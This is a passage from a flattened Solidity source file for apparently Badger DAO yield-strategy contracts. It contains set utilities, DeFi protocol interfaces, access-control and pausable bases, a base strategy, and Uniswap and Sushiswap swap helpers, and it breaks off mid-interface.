// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File interfaces/uniswap/IUniswapRouterV2.sol
pragma solidity >=0.5.0 <0.8.0;
interface IUniswapRouterV2 {
function factory() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// File interfaces/badger/IBadgerGeyser.sol
pragma solidity >=0.5.0 <0.8.0;
interface IBadgerGeyser {
function stake(address) external returns (uint256);
function signalTokenLock(
address token,
uint256 amount,
uint256 durationSec,
uint256 startTime
) external;
function modifyTokenLock(
address token,
uint256 index,
uint256 amount,
uint256 durationSec,
uint256 startTime
) external;
}
// File interfaces/uniswap/IUniswapPair.sol
pragma solidity ^0.6.0;
interface IUniswapPair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
// File interfaces/sushi/IxSushi.sol
pragma solidity ^0.6.0;
interface IxSushi {
function enter(uint256 _amount) external;
function leave(uint256 _shares) external;
}
// File interfaces/badger/IController.sol
pragma solidity >=0.5.0 <0.8.0;
interface IController {
function withdraw(address, uint256) external;
function withdrawAll(address) external;
function strategies(address) external view returns (address);
function approvedStrategies(address, address) external view returns (address);
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function approveStrategy(address, address) external;
function setStrategy(address, address) external;
function setVault(address, address) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
// File interfaces/badger/IMintr.sol
pragma solidity >=0.5.0 <0.8.0;
interface IMintr {
function mint(address) external;
}
// File interfaces/badger/IStrategy.sol
pragma solidity >=0.5.0 <0.8.0;
interface IStrategy {
function want() external view returns (address);
function deposit() external;
// NOTE: must exclude any tokens used in the yield
// Controller role - withdraw should return to Controller
function withdrawOther(address) external returns (uint256 balance);
// Controller | Vault role - withdraw should always return to Vault
function withdraw(uint256) external;
// Controller | Vault role - withdraw should always return to Vault
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function balanceOfPool() external view returns (uint256);
function balanceOfWant() external view returns (uint256);
function getName() external pure returns (string memory);
function setStrategist(address _strategist) external;
function setWithdrawalFee(uint256 _withdrawalFee) external;
function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external;
function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external;
function setGovernance(address _governance) external;
function setController(address _controller) external;
function controller() external returns (address);
function governance() external returns (address);
function tend() external;
function harvest() external returns (uint256);
}
// File interfaces/badger/ISettV4.sol
pragma solidity >=0.5.0 <0.8.0;
interface ISettV4 {
function token() external view returns (address);
function keeper() external view returns (address);
function deposit(uint256) external;
function depositFor(address, uint256) external;
function depositAll() external;
function withdraw(uint256) external;
function withdrawAll() external;
function earn() external;
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getPricePerFullShare() external view returns (uint256);
}
// File interfaces/convex/IBooster.sol
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
interface IBooster {
struct PoolInfo {
address lptoken;
address token;
address gauge;
address crvRewards;
address stash;
bool shutdown;
}
function poolInfo(uint256 _pid) external view returns (PoolInfo memory);
function deposit(
uint256 _pid,
uint256 _amount,
bool _stake
) external returns (bool);
function depositAll(uint256 _pid, bool _stake) external returns (bool);
function withdraw(uint256 _pid, uint256 _amount) external returns (bool);
function withdrawAll(uint256 _pid) external returns (bool);
}
// File interfaces/convex/CrvDepositor.sol
pragma solidity >=0.6.0;
interface CrvDepositor {
//deposit crv for cvxCrv
//can locking immediately or defer locking to someone else by paying a fee.
//while users can choose to lock or defer, this is mostly in place so that
//the cvx reward contract isnt costly to claim rewards
function deposit(uint256 _amount, bool _lock) external;
}
// File interfaces/convex/IBaseRewardsPool.sol
pragma solidity ^0.6.0;
interface IBaseRewardsPool {
//balance
function balanceOf(address _account) external view returns (uint256);
//withdraw to a convex tokenized deposit
function withdraw(uint256 _amount, bool _claim) external returns (bool);
function withdrawAll(bool _claim) external;
//withdraw directly to curve LP token
function withdrawAndUnwrap(uint256 _amount, bool _claim) external returns (bool);
//claim rewards
function getReward() external returns (bool);
//stake a convex tokenized deposit
function stake(uint256 _amount) external returns (bool);
//stake a convex tokenized deposit for another address(transfering ownership)
function stakeFor(address _account, uint256 _amount) external returns (bool);
function getReward(address _account, bool _claimExtras) external returns (bool);
function rewards(address _account) external view returns (uint256);
function earned(address _account) external view returns (uint256);
function stakingToken() external view returns (address);
}
// File interfaces/convex/ICvxRewardsPool.sol
pragma solidity ^0.6.0;
interface ICvxRewardsPool {
//balance
function balanceOf(address _account) external view returns (uint256);
//withdraw to a convex tokenized deposit
function withdraw(uint256 _amount, bool _claim) external;
function withdrawAll(bool _claim) external;
//withdraw directly to curve LP token
function withdrawAndUnwrap(uint256 _amount, bool _claim) external returns (bool);
//claim rewards
function getReward(bool _stake) external;
//stake a convex tokenized deposit
function stake(uint256 _amount) external;
//stake a convex tokenized deposit for another address(transfering ownership)
function stakeFor(address _account, uint256 _amount) external returns (bool);
function rewards(address _account) external view returns (uint256);
function earned(address _account) external view returns (uint256);
}
// File deps/@openzeppelin/contracts-upgradeable/proxy/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// File deps/@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File deps/@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File interfaces/uniswap/IUniswapV2Factory.sol
pragma solidity >=0.5.0 <0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// File contracts/badger-sett/SettAccessControl.sol
pragma solidity ^0.6.11;
/*
Common base for permissioned roles throughout Sett ecosystem
*/
contract SettAccessControl is Initializable {
address public governance;
address public strategist;
address public keeper;
// ===== MODIFIERS =====
function _onlyGovernance() internal view {
require(msg.sender == governance, "onlyGovernance");
}
function _onlyGovernanceOrStrategist() internal view {
require(msg.sender == strategist || msg.sender == governance, "onlyGovernanceOrStrategist");
}
function _onlyAuthorizedActors() internal view {
require(msg.sender == keeper || msg.sender == governance, "onlyAuthorizedActors");
}
// ===== PERMISSIONED ACTIONS =====
/// @notice Change strategist address
/// @notice Can only be changed by governance itself
function setStrategist(address _strategist) external {
_onlyGovernance();
strategist = _strategist;
}
/// @notice Change keeper address
/// @notice Can only be changed by governance itself
function setKeeper(address _keeper) external {
_onlyGovernance();
keeper = _keeper;
}
/// @notice Change governance address
/// @notice Can only be changed by governance itself
function setGovernance(address _governance) public {
_onlyGovernance();
governance = _governance;
}
uint256[50] private __gap;
}
// File deps/@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File contracts/badger-sett/strategies/BaseStrategy.sol
pragma solidity ^0.6.11;
/*
===== Badger Base Strategy =====
Common base class for all Sett strategies
Changelog
V1.1
- Verify amount unrolled from strategy positions on withdraw() is within a threshold relative to the requested amount as a sanity check
- Add version number which is displayed with baseStrategyVersion(). If a strategy does not implement this function, it can be assumed to be 1.0
V1.2
- Remove idle want handling from base withdraw() function. This should be handled as the strategy sees fit in _withdrawSome()
*/
abstract contract BaseStrategy is PausableUpgradeable, SettAccessControl {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
event Withdraw(uint256 amount);
event WithdrawAll(uint256 balance);
event WithdrawOther(address token, uint256 amount);
event SetStrategist(address strategist);
event SetGovernance(address governance);
event SetController(address controller);
event SetWithdrawalFee(uint256 withdrawalFee);
event SetPerformanceFeeStrategist(uint256 performanceFeeStrategist);
event SetPerformanceFeeGovernance(uint256 performanceFeeGovernance);
event Harvest(uint256 harvested, uint256 indexed blockNumber);
event Tend(uint256 tended);
address public want; // Want: Curve.fi renBTC/wBTC (crvRenWBTC) LP token
uint256 public performanceFeeGovernance;
uint256 public performanceFeeStrategist;
uint256 public withdrawalFee;
uint256 public constant MAX_FEE = 10000;
address public controller;
address public guardian;
uint256 public withdrawalMaxDeviationThreshold;
function __BaseStrategy_init(
address _governance,
address _strategist,
address _controller,
address _keeper,
address _guardian
) public initializer whenNotPaused {
__Pausable_init();
governance = _governance;
strategist = _strategist;
keeper = _keeper;
controller = _controller;
guardian = _guardian;
withdrawalMaxDeviationThreshold = 50;
}
// ===== Modifiers =====
function _onlyController() internal view {
require(msg.sender == controller, "onlyController");
}
function _onlyAuthorizedActorsOrController() internal view {
require(msg.sender == keeper || msg.sender == governance || msg.sender == controller, "onlyAuthorizedActorsOrController");
}
function _onlyAuthorizedPausers() internal view {
require(msg.sender == guardian || msg.sender == governance, "onlyPausers");
}
/// ===== View Functions =====
function baseStrategyVersion() public view returns (string memory) {
return "1.2";
}
/// @notice Get the balance of want held idle in the Strategy
function balanceOfWant() public view returns (uint256) {
return IERC20Upgradeable(want).balanceOf(address(this));
}
/// @notice Get the total balance of want realized in the strategy, whether idle or active in Strategy positions.
function balanceOf() public virtual view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function isTendable() public virtual view returns (bool) {
return false;
}
function isProtectedToken(address token) public view returns (bool) {
address[] memory protectedTokens = getProtectedTokens();
for (uint256 i = 0; i < protectedTokens.length; i++) {
if (token == protectedTokens[i]) {
return true;
}
}
return false;
}
/// ===== Permissioned Actions: Governance =====
function setGuardian(address _guardian) external {
_onlyGovernance();
guardian = _guardian;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
_onlyGovernance();
require(_withdrawalFee <= MAX_FEE, "excessive-fee");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external {
_onlyGovernance();
require(_performanceFeeStrategist <= MAX_FEE, "excessive-fee");
performanceFeeStrategist = _performanceFeeStrategist;
}
function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external {
_onlyGovernance();
require(_performanceFeeGovernance <= MAX_FEE, "excessive-fee");
performanceFeeGovernance = _performanceFeeGovernance;
}
function setController(address _controller) external {
_onlyGovernance();
controller = _controller;
}
function setWithdrawalMaxDeviationThreshold(uint256 _threshold) external {
_onlyGovernance();
require(_threshold <= MAX_FEE, "excessive-threshold");
withdrawalMaxDeviationThreshold = _threshold;
}
function deposit() public virtual whenNotPaused {
_onlyAuthorizedActorsOrController();
uint256 _want = IERC20Upgradeable(want).balanceOf(address(this));
if (_want > 0) {
_deposit(_want);
}
_postDeposit();
}
// ===== Permissioned Actions: Controller =====
/// @notice Controller-only function to Withdraw partial funds, normally used with a vault withdrawal
function withdrawAll() external virtual whenNotPaused returns (uint256 balance) {
_onlyController();
_withdrawAll();
_transferToVault(IERC20Upgradeable(want).balanceOf(address(this)));
}
/// @notice Withdraw partial funds from the strategy, unrolling from strategy positions as necessary
/// @notice Processes withdrawal fee if present
/// @dev If it fails to recover sufficient funds (defined by withdrawalMaxDeviationThreshold), the withdrawal should fail so that this unexpected behavior can be investigated
function withdraw(uint256 _amount) external virtual whenNotPaused {
_onlyController();
// Withdraw from strategy positions, typically taking from any idle want first.
_withdrawSome(_amount);
uint256 _postWithdraw = IERC20Upgradeable(want).balanceOf(address(this));
// Sanity check: Ensure we were able to retrieve sufficent want from strategy positions
// If we end up with less than the amount requested, make sure it does not deviate beyond a maximum threshold
if (_postWithdraw < _amount) {
uint256 diff = _diff(_amount, _postWithdraw);
// Require that difference between expected and actual values is less than the deviation threshold percentage
require(diff <= _amount.mul(withdrawalMaxDeviationThreshold).div(MAX_FEE), "withdraw-exceed-max-deviation-threshold");
}
// Return the amount actually withdrawn if less than amount requested
uint256 _toWithdraw = MathUpgradeable.min(_postWithdraw, _amount);
// Process withdrawal fee
uint256 _fee = _processWithdrawalFee(_toWithdraw);
// Transfer remaining to Vault to handle withdrawal
_transferToVault(_toWithdraw.sub(_fee));
}
// NOTE: must exclude any tokens used in the yield
// Controller role - withdraw should return to Controller
function withdrawOther(address _asset) external virtual whenNotPaused returns (uint256 balance) {
_onlyController();
_onlyNotProtectedTokens(_asset);
balance = IERC20Upgradeable(_asset).balanceOf(address(this));
IERC20Upgradeable(_asset).safeTransfer(controller, balance);
}
/// ===== Permissioned Actions: Authoized Contract Pausers =====
function pause() external {
_onlyAuthorizedPausers();
_pause();
}
function unpause() external {
_onlyGovernance();
_unpause();
}
/// ===== Internal Helper Functions =====
/// @notice If withdrawal fee is active, take the appropriate amount from the given value and transfer to rewards recipient
/// @return The withdrawal fee that was taken
function _processWithdrawalFee(uint256 _amount) internal returns (uint256) {
if (withdrawalFee == 0) {
return 0;
}
uint256 fee = _amount.mul(withdrawalFee).div(MAX_FEE);
IERC20Upgradeable(want).safeTransfer(IController(controller).rewards(), fee);
return fee;
}
/// @dev Helper function to process an arbitrary fee
/// @dev If the fee is active, transfers a given portion in basis points of the specified value to the recipient
/// @return The fee that was taken
function _processFee(
address token,
uint256 amount,
uint256 feeBps,
address recipient
) internal returns (uint256) {
if (feeBps == 0) {
return 0;
}
uint256 fee = amount.mul(feeBps).div(MAX_FEE);
IERC20Upgradeable(token).safeTransfer(recipient, fee);
return fee;
}
function _transferToVault(uint256 _amount) internal {
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20Upgradeable(want).safeTransfer(_vault, _amount);
}
/// @notice Utility function to diff two numbers, expects higher value in first position
function _diff(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b, "diff/expected-higher-number-in-first-position");
return a.sub(b);
}
// ===== Abstract Functions: To be implemented by specific Strategies =====
/// @dev Internal deposit logic to be implemented by Stratgies
function _deposit(uint256 _want) internal virtual;
function _postDeposit() internal virtual {
//no-op by default
}
/// @notice Specify tokens used in yield process, should not be available to withdraw via withdrawOther()
function _onlyNotProtectedTokens(address _asset) internal virtual;
function getProtectedTokens() public virtual view returns (address[] memory) {
return new address[](0);
}
/// @dev Internal logic for strategy migration. Should exit positions as efficiently as possible
function _withdrawAll() internal virtual;
/// @dev Internal logic for partial withdrawals. Should exit positions as efficiently as possible.
/// @dev The withdraw() function shell automatically uses idle want in the strategy before attempting to withdraw more using this
function _withdrawSome(uint256 _amount) internal virtual returns (uint256);
/// @dev Realize returns from positions
/// @dev Returns can be reinvested into positions, or distributed in another fashion
/// @dev Performance fees should also be implemented in this function
/// @dev Override function stub is removed as each strategy can have it's own return signature for STATICCALL
// function harvest() external virtual;
/// @dev User-friendly name for this strategy for purposes of convenient reading
function getName() external virtual pure returns (string memory);
/// @dev Balance of want currently held in strategy positions
function balanceOfPool() public virtual view returns (uint256);
uint256[49] private __gap;
}
// File contracts/badger-sett/strategies/BaseStrategySwapper.sol
pragma solidity ^0.6.11;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
abstract contract BaseStrategyMultiSwapper is BaseStrategy {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
address public constant uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap Dex
address public constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // Sushiswap router
/// @notice Swap specified balance of given token on Uniswap with given path
function _swap_uniswap(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, uniswap, balance);
IUniswapRouterV2(uniswap).swapExactTokensForTokens(balance, 0, path, address(this), now);
}
/// @dev Reset approval and approve exact amount
function _safeApproveHelper(
address token,
address recipient,
uint256 amount
) internal {
IERC20Upgradeable(token).safeApprove(recipient, 0);
IERC20Upgradeable(token).safeApprove(recipient, amount);
}
/// @notice Swap specified balance of given token on Uniswap with given path
function _swap_sushiswap(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, sushiswap, balance);
IUniswapRouterV2(sushiswap).swapExactTokensForTokens(balance, 0, path, address(this), now);
}
function _swapEthIn_uniswap(uint256 balance, address[] memory path) internal {
IUniswapRouterV2(uniswap).swapExactETHForTokens{value: balance}(0, path, address(this), now);
}
function _swapEthIn_sushiswap(uint256 balance, address[] memory path) internal {
IUniswapRouterV2(sushiswap).swapExactETHForTokens{value: balance}(0, path, address(this), now);
}
function _swapEthOut_uniswap(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, uniswap, balance);
IUniswapRouterV2(uniswap).swapExactTokensForETH(balance, 0, path, address(this), now);
}
function _swapEthOut_sushiswap(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, sushiswap, balance);
IUniswapRouterV2(sushiswap).swapExactTokensForETH(balance, 0, path, address(this), now);
}
function _get_uni_pair(address token0, address token1) internal view returns (address) {
address factory = IUniswapRouterV2(uniswap).factory();
return IUniswapV2Factory(factory).getPair(token0, token1);
}
function _get_sushi_pair(address token0, address token1) internal view returns (address) {
address factory = IUniswapRouterV2(sushiswap).factory();
return IUniswapV2Factory(factory).getPair(token0, token1);
}
/// @notice Swap specified balance of given token on Uniswap with given path
function _swap(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, uniswap, balance);
IUniswapRouterV2(uniswap).swapExactTokensForTokens(balance, 0, path, address(this), now);
}
function _swapEthIn(uint256 balance, address[] memory path) internal {
IUniswapRouterV2(uniswap).swapExactETHForTokens{value: balance}(0, path, address(this), now);
}
function _swapEthOut(
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, uniswap, balance);
IUniswapRouterV2(uniswap).swapExactTokensForETH(balance, 0, path, address(this), now);
}
/// @notice Add liquidity to uniswap for specified token pair, utilizing the maximum balance possible
function _add_max_liquidity_uniswap(address token0, address token1) internal virtual {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _token1Balance = IERC20Upgradeable(token1).balanceOf(address(this));
_safeApproveHelper(token0, uniswap, _token0Balance);
_safeApproveHelper(token1, uniswap, _token1Balance);
IUniswapRouterV2(uniswap).addLiquidity(token0, token1, _token0Balance, _token1Balance, 0, 0, address(this), block.timestamp);
}
/// @notice Add liquidity to uniswap for specified token pair, utilizing the maximum balance possible
function _add_max_liquidity_sushiswap(address token0, address token1) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _token1Balance = IERC20Upgradeable(token1).balanceOf(address(this));
_safeApproveHelper(token0, sushiswap, _token0Balance);
_safeApproveHelper(token1, sushiswap, _token1Balance);
IUniswapRouterV2(sushiswap).addLiquidity(token0, token1, _token0Balance, _token1Balance, 0, 0, address(this), block.timestamp);
}
function _add_max_liquidity_eth_sushiswap(address token0) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _ethBalance = address(this).balance;
_safeApproveHelper(token0, sushiswap, _token0Balance);
IUniswapRouterV2(sushiswap).addLiquidityETH{value: address(this).balance}(token0, _token0Balance, 0, 0, address(this), block.timestamp);
}
uint256[50] private __gap;
}
// File interfaces/curve/ICurveFi.sol
pragma solidity >=0.5.0 <0.8.0;
interface ICurveFi {
function get_virtual_price() external view returns (uint256 out);
function add_liquidity(
// renbtc/tbtc pool
uint256[2] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external returns (uint256 out);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external returns (uint256 out);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
